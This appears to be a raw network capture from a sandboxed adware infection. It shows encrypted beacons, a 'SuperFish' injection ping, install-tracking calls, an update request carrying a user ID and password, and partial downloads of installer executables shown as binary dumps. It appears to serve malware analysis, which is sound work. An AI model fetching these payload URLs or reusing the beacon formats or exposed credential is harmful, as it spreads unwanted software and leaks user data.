GET /p.ashx?e=XOxRKBm2zlxPNjxRBLtb40gvel0LAS5R/WD6e6SZIIHeyzV7AofXlvpVi1LU/zm/D0Q9sBWH0J0L9Jos6iHR4UCN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DoltPqJisDtGNlz6m1J48 dQYf4gGF0f32KH pUTDHXlOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXQH1Ks0sJi5EqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5HLnHRSngDc8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:50 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: MeQSbGuyAgRbjvT850AlfSmiuuO02BM6-eX7NXtRmiWLcxd_mPBoqA==

....

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMCzhm0AeRIUo44G r 3F6T7o ZAytpZ9B/ewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4gqhU/KMtaaY94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEj16axw0ikNw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: UniDemv4n3nx0-mluDs0Ik3YYJXsiastdwCGbnvJvVRY6A5ixNsKWw==

....

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMDQtz4YyLkt6pR90anDedSCmZPcE2iuyXcb/LmfTLIxoSS2kKKgguGyqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1FsXWfHmifesma098uiqxm3zS3x1PoF2emCCPMdcYxsH81HwV rOgft2trIhqf/cmg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:51 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Dyyu6HutMhUV8-jCxWqO1vkgVCJVzjJ2iebGyvEOQOfgHI_k3gI8Fg==

....

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMBHkkQ8dewzaRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UrP3Vvzs8SHzWoO9hCyfDyHQXyPogRVj4AphWV9O25h3WNYuYnxNQ0D HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:51 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: QSE9R4zB0KdXK1p5_CZrfwttSVAfYFabrbIvP1znzMhxnumrCV0epw==

....

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMDfE/ OuNytPyvTet81FAwHjgb6v7cXpPvFETdes9rP1KpRdlvZ50xBw7bQvqxL1FNFKIwDlyME0pmtPfLoqsZt80t8dT6BdnpggjzHXGMbB/NR8FfqzoH7aUHJTjt43c/Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaM1iDef czzia8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUJFxNVeQWwZG HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B  OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMA04irtcDWeBfFklBXmBrJSjgb6v7cXpPsUY8tYdObaIeQRE0cF7lrf/k6YQPAn cnC6SSkuIqBSsA1INTDxp88Tl1l/ztEocqYh2WE5I9QkIZaib8S6Ie9uoPfdKLYexN ocbWUqANWOQRE0cF7lrf/k6YQPAn cnHoJI0kZuBsz9Fw6/ImVBGYEV7luQL/Ueix8/MhX7N6UgXP2SXDddocENAJ4VrkOaqy6vWy92uy uEYot8Ue3VXu2MgYDo3TFBoJ/Fp6nnKa6U9GOEwMGQbqve7WamUhb7crJAlkpBeYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSxagsjM/ITaNX9o5TagsjcZ1AP1fWDmPqL5TmD4GOyNUiOeeYyJtCDo= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:51 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zoS4NeCGz1g0T1UAljQc8rit9je_TvtS0IvaekexpaPj89NmLy0UoA==

....

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMC8OzYKbo6H LC9DWtJE2Zs IILilpWF3Mj4ZenhjWS0bKEYvTsg4WUNLHlM57q6hxJWcDrTyedMhFlKj66Shd5bQQQLUhy ZzTaw0Q3ekbrhegrOcLaH45k76jFMyOlPSN5InBPQvgM3aK7WMV1mNU0P3TuWwzdyhyLVRxTLTAesx63zPf1h /lpWNI5CTGy6CLzW6Qxe0jcOHR9cA7HM7wIH48iM7ZunvInx1w2PPTKFO/l0P2QYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9wGDFSoaIrEkMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOduQj7MqrGewA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:52 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: C870lrM5Jp99elWhFJRpdPx1fKOLnLnxXBCMS5I4j2YWMw_WslYYZA==

....

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMCmW8V 3HOBw6zlVDGOOxKoKYX3Ti/i3YOrZUJO2Bj2/OMlN/XaXrTy94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEj16axw0ikNw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:52 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OdEUH7w3bSzU11xpTTXpGM2hVrtOZeGDDvEepsY1zhG6aYlMk58nmQ==

....

GET /p.ashx?e=WL9usJOVMsOQs n7i1BIkA6hxqMAiseHLIubOjCpw7b8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bRe0vpw87wGCmoO9hCyfDyHQXyPogRVj4AphWV9O25h3WFiBkLKOkzZSOrYhj46XfQgpnHZJVLNWyypInfO6xSO74r1XQZFERKbvoGA4XsmV/wUsk1xvYF0EwAaRG2pHiUVqC1aQjPYhN7ZC0Okuf4wZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKz91b87PEh81qDvYQsnw8h0F8j6IEVY AKYVlfTtuYd1jWLmJ8TUNAw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:52 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: S9KURTT4z-3GEAd7Ll8pxv2KPAxhyUZlIrU3ryWXMlD0kueBX2hh9w==

....

GET /p.ashx?e=QgW8pN5r26ZPNjxRBLtb4x0KrZhrRwbr/WD6e6SZIIGq9exvwYRubwRSl12vCJvFCM3NL4nDJo5OyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXRVWaKclJYCz b/YhL9w2PTXoMXpqBnYfcPSBQBQGVaTj0N7bp/0QtQiDxPRY4o5upR90anDedSCrGo3Q5FnxObzR1t 4ki58cbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfcBgxUqGiKxJDD1wMzW lCkDinyg6p6Cm3h8XZzZCMTnbkI zKqxnsA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:15 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GwKbjuQCzwRdrW7LNrnsSbLAidkdETBi-WCSQkJC74XZV9U_f0OPHA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 2015 03:59:15 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 b56fc979704f01acc351fd21f5c956
db.cloudfront.net (CloudFront)..X-Amz-Cf-Id: GwKbjuQCzwRdrW7LNrnsSbLAi
dkdETBi-WCSQkJC74XZV9U_f0OPHA==......

GET /p.ashx?e=hNMAVKhukry7P4fECSsJwg6hxqMAiseH8lXlmdaIM2L8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bRe0vpw87wGCmoO9hCyfDyHQXyPogRVj4AphWV9O25h3WFiBkLKOkzZSOrYhj46XfQgpnHZJVLNWyypInfO6xSO0ATae6NSkctAjwe0z3CnlPHRxe7sAHW6KYX3Ti/i3YP8763l13qPQiK/Kp1Bt8wijPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LFqCyMz8hNo1f2jlNqCyNxnUA/V9YOY ovlOYPgY7I1SI555jIm0IOg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:54 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: e1VnyAENqXN7N8D_zOaP21AmkQUtm-gLP1uNWJ31h9gD-nvBnNb0tw==

....

GET /p.ashx?e=A3ANzFv7fWCOxiYYmXRGYDg2g5AFJwuPQBD1m2L769F4E7mrr1h80v8gl1CzC7piUA7dl9owwhIzEdLV0pRHWkY1XsPhxRGVfY1QZoRT V5dJv6lxF0FUw9ZGKLKG3nO lWLUtT/Ob8PRD2wFYfQnQv0mizqIdHh hmSQlakOO9wS/7uvkzjRNFIOcmDDpCEFAL52sIXt4XkathCyw/jA6hWny52hzrnjlpUfr/spfXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaM1iDef czzia8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUJFxNVeQWwZG HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:17 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OitoH7DSohemHY70h-ZJPN9XO7aFp5jCDHnlx6JvCZOFxg7ALLsi-g==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 2015 03:59:17 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 b56fc979704f01acc351fd21f5c956
db.cloudfront.net (CloudFront)..X-Amz-Cf-Id: OitoH7DSohemHY70h-ZJPN9XO
7aFp5jCDHnlx6JvCZOFxg7ALLsi-g==..

GET /v4/searchprotect/535559167_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:58 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.90 ms","message":"store 4 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 10 Feb 20
15 03:59:58 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.90 ms","message":"store 4 ac
tion and 0 update "}..0..

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=0&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.1.0 HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:33 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=1&action=Inject&text=SuperFish HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:34 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 03:59:34 GMT..Content-Length: 0..HTTP/1.1 200 OK..Cache-Control: pr
ivate..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Power
ed-By: ASP.NET..Date: Tue, 10 Feb 2015 03:59:34 GMT..Content-Length: 0
..

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540765&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 44

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=44updc551dd2ef452m44qje2; path=/; HttpOnly

Date: Tue, 10 Feb 2015 03:59:24 GMT

Connection: close
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71389-142779

User-Agent: Better Installer(Mozilla)

Host: dwl4rwv9nkwfy.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71391

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:56:46 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71389-142779/285558

Age: 3310

X-Cache: Hit from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: spaCKmhCxa1g-Ex6gHS8lHyB85mlB4bI8aiWE2KWhoivYXDlnyg9MA==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.<<< skipped >>>

GET /windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1714&uid=&upv= HTTP/1.1

Host: VVV.theviilage.com

User-Agent: Mozilla/4.0

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:48 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

1..1..0..

GET /mstag/mstag.1003102000.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK

Cache-Control: max-age=86400

Content-Type: application/javascript

Content-Encoding: gzip

Last-Modified: Wed, 29 Oct 2014 21:30:02 GMT

Accept-Ranges: bytes

ETag: "069797fbff3cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

Date: Tue, 10 Feb 2015 04:00:21 GMT

Connection: close

Content-Length: 1956
...........Xm..... :LG&.8J:.MB.N.$N........Y.@$(....@....{....vM>H$
v.],......."...qw<qr...g.]e,v.S.(.......P........t:Eao.j.H..Y...A(.
3wx%N.....b..f...9.......W...).J....3...j..xQn.........:!.,"..*.EY....
Ct........X......$.)G....:...,..Q......\...|...s.%.b.K...Q..7w.r...t..
{.I..e .....1._9..3.....Fx%...i.U..9.))....*._K&..Y.p.Y.*.*)E...I_f...
]S.#..TE.......c..0..u..M.!...q.0..s....G9Y:...wK.....^.kZf..g1`)Z...R
c........A..A.Q/>M....ee..............Z^. ..|[email protected],..2..%.c
........,.,...c...?..-/.r G...Q..d...?..-.!......i.....3....{..[..H.|.
........b.4..kH...t....A.!.y..v.. .:..uuu..VC.....^..2.>....M.oQ.W.
.V.4....u.....d(l.."':......V .b..e0....{....0...9Y.Q........b.~s....Z
...2..:.....2....'T.(......L.r..H0V.[...C..k.)..T....J.#.T.i...Ve..G..
...N.i.n<[email protected]..!.(..F...L..J.......3..x.....U.w
>.S..`..4.4}S.h.....1._.k[[email protected].>.e.eKa...Q..m.....\6.~.
.(x....9.....r..F.....M...)n%..84W...6..?..X..>........xC..oL....s.
......... ...w...$!...,......l.........$..fH....K.S.;.A$....{... ...e.
....$..P....C.....:....s.|...,.(3..k2#...o...g!..q...'.m.....R((-..N.w
 .....!a.J.4... ML.x$....`Z...tj...{..'..[.2.n.;[email protected] ..6...`.....m.
....H=U..P.....H_ O[[email protected]/.Q........p.C..GG..>..>..Q;3\.7...
.yk..Y.)..{.........H`..{.1.rPc.5.|..t..S. ra. .....0......c.S~...]..6
.....f....X....A.a.a..A.c;..3....<[...y.v...N....^R.r ..Z&.u.=.._.2
u...*p.=..\h.....a.!m.........g.&..d.).t`...H........>....U...u....
.......JC.....l-..8w..p{..k...\.......s..@.$1G2....l.spb.,.Q...3.`<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=291620-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 11 Feb 2015 03:59:05 GMT

Date: Tue, 10 Feb 2015 03:59:05 GMT

Content-Range: bytes 291620-583239/583240

Content-Length: 291620

Connection: keep-alive
...\U..G.Z.....H.<.C...t......\f. .8...*.wd........Qp.aX.f..C.....W
E.3h....).$....A........yrD.1.f..]...J...E<..1..L.1.{..j.f.=....fM.
F.....z...D...g.....u.6.I'.U...[..7......Y..:n...^...A....w../9.....U.
....?.'......xO62.P.qw&.(....uBa...Y@;......:.II.]..m.....%..<.D..v
.).i<:..J....J.;..<...X.)p...::I_U.........8..5..Y"..L<36..c}
t..;....j.....?....@.`.......I|.L5....q}..3...ll=...bdI5..[?.....}.EeL
..R....5"...(......../.....W..~..].@.. [email protected]%.Y...
r]a.b.......)G..n[T...}O....y1.j..!.c)..4.08.....u...9.8..H...D..k...r
.....IaPJ"..].Pm..K.>.V1vp9y.....=..bp.:.g..F..C.0.eB./..nxD.N..'.4
.......'3.1..m..0..=.^..._...S...M...i.t..yq....|....T.....&v.e.......
..D....Z.7...T.......I...$.....A ..er....o...C..Y...A.F]hy!..q........
